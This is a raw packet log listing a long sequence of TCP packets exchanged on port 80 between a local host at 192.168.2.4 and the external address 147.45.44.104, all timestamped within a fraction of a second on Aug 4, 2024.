Aug 4, 2024 02:21:38.467660904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467674971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467694044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467705965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467727900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467741013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467772961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467808962 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467840910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467856884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467874050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467885017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467905998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467917919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467938900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467951059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467971087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467984915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468002081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468014956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468034029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468048096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468069077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468076944 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468113899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468257904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468290091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468308926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468321085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468328953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468353033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468367100 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468384981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468401909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468416929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468429089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468450069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468460083 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468499899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468503952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468533993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468547106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468565941 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468576908 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468602896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468633890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468636036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468650103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468666077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468698025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468710899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468744040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468835115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468866110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468894005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468898058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468908072 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468929052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468940020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.468961000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.468992949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469007015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469026089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469036102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469058037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469072104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469090939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469104052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469121933 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469132900 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469155073 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469165087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469186068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469218016 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469232082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469249964 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469260931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469281912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469297886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469314098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469326019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469346046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469358921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469383001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469391108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469429016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469639063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469671011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469691992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469701052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469712973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469733000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469744921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469764948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469774961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469798088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469820976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469830036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469840050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469861984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469873905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469893932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469906092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469926119 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469938040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469958067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.469970942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.469990015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470002890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470021963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470035076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470053911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470066071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470086098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470098019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470118046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470129967 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470150948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470161915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470184088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470194101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470216990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470228910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470251083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470261097 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470298052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470560074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470594883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470613956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470628023 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470638037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470660925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470673084 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470695019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470705986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470726967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470741987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470765114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.470772028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.470808983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.511149883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.511250019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.511271954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.511285067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.511300087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.511337042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.511369944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.511379957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.511399984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.511416912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.511434078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.511446953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.511480093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.554647923 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.554721117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.554745913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.554795027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.554799080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.554831028 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.554840088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.554862976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.554877043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.554894924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.554909945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.554929018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.554940939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.554975033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.554980993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555011988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555025101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555059910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555063963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555097103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555114031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555130005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555135012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555162907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555171013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555207968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555262089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555294037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555308104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555325985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555341005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555365086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555381060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555398941 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555411100 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555440903 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555449009 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555484056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555495024 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555530071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555594921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555623055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555644989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555654049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555656910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555690050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555691004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555717945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555725098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555766106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555773973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555819988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555824041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555855989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555866957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555887938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555898905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555918932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555931091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555951118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555963039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.555983067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.555994987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556015015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556026936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556046963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556061029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556080103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556098938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556111097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556127071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556142092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556149960 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556184053 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556221962 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556252956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556268930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556284904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556289911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556317091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556323051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556348085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556360960 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556382895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556401014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556415081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556426048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556452036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556457996 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556493998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556497097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556529045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556539059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556561947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556576014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556591988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556608915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556626081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556637049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556655884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556669950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556689024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556700945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556734085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556737900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556773901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556783915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556818008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556822062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556853056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556863070 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556885004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556898117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556916952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556927919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556950092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556961060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.556982994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.556994915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557025909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557210922 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557241917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557261944 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557272911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557282925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557305098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557312965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557337046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557348967 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557368040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557382107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557400942 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557411909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557431936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557446003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557463884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557475090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557495117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557507992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557526112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557537079 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557559013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557566881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557591915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557604074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557625055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557636023 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557657003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557687998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557688951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557708979 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557719946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557733059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557753086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557799101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557924986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557955980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557976007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.557987928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.557998896 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558020115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558031082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558052063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558063030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558084965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558098078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558118105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558126926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558150053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558162928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558182001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558193922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558212996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558228016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558245897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558275938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558306932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558339119 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558371067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558391094 CEST	49757	80	192.168.2.4	147.45.44.104
